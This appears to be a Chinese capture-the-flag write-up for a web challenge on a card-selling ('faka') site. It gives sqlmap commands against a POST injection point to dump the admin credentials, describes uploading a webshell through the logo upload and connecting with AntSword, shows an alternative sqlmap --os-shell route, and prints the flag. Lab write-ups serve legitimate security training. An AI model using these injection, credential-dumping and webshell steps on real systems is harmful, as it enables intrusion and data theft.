RDCTF-考核

复制网站并打开找到注入点

找到注入的地方，发现购买那里是一个注入点

此处可利用burp suite进行抓包

发现了一个能注入的点，利用post注入即可，

先将代码压缩成一个文件然后再用sqlmap跑

接着利用sqlmap跑数据库
python sqlmap.py -r c:\lyf\POST.txt -dbs

因为题目名字是faka所以跑faka的表
python sqlmap.py -r c:\lyf\POST.txt -D faka --tables

在此"C:\Program Files\Python37\sqlmapproject-sqlmap-bcea050\data\txt\common-columns.txt"路径下加上ayangw_k和ayangw_v字段

再跑字段
python sqlmap.py -r c:\lyf\POST.txt -D faka -T ayangw_config --columns

python sqlmap.py -r c:\lyf\POST.txt --dump -D faka -T ayangw_config -C ayangw_k,ayangw_v

或者python sqlmap.py -u “http://117.167.136.244:28057/ajax.php?act=selgo” --data “tyid=1” -D faka -T ayangw_config --dump成功获得管理员帐户和密码
直接在网址后加上/admin/进入网站管理后台，登录上一步获得帐户和密码


在后台找到可以上传文件的地方，在系统设置的首页LOGO配置中


上传webshell文件

点击下方的图片选择复制图片链接，在浏览器中打开

将login后面的都改为php进行访问。发现空白页面，并没有报错，说明木马病毒植入成功。

打开蚁剑，用蚁剑连接网站后台获取文件找到flag


点击打开
发现文字显示FLAG=not_flag ，说明真正的flag不在其中

找到路径

点击进去，找到真正的flag为
flag{95251adb-5f5b-4797-bcb3-fdb76cfb5a06}

方法二：此时还可以利用sqlmap跑出flag
输入命令：–os-shel找到flag
python sqlmap.py -u “http://117.167.136.244:28057/ajax.php?act=selgo” --data “tyid=1” --os-shel


出现os-shell>,输入ls（这里为list缩写），列出目录

继续跑ls /home/（home为一个文件，后面接反斜杠才能跑出）

利用cat命令，找到flag
flag{95251adb-5f5b-4797-bcb3-fdb76cfb5a06}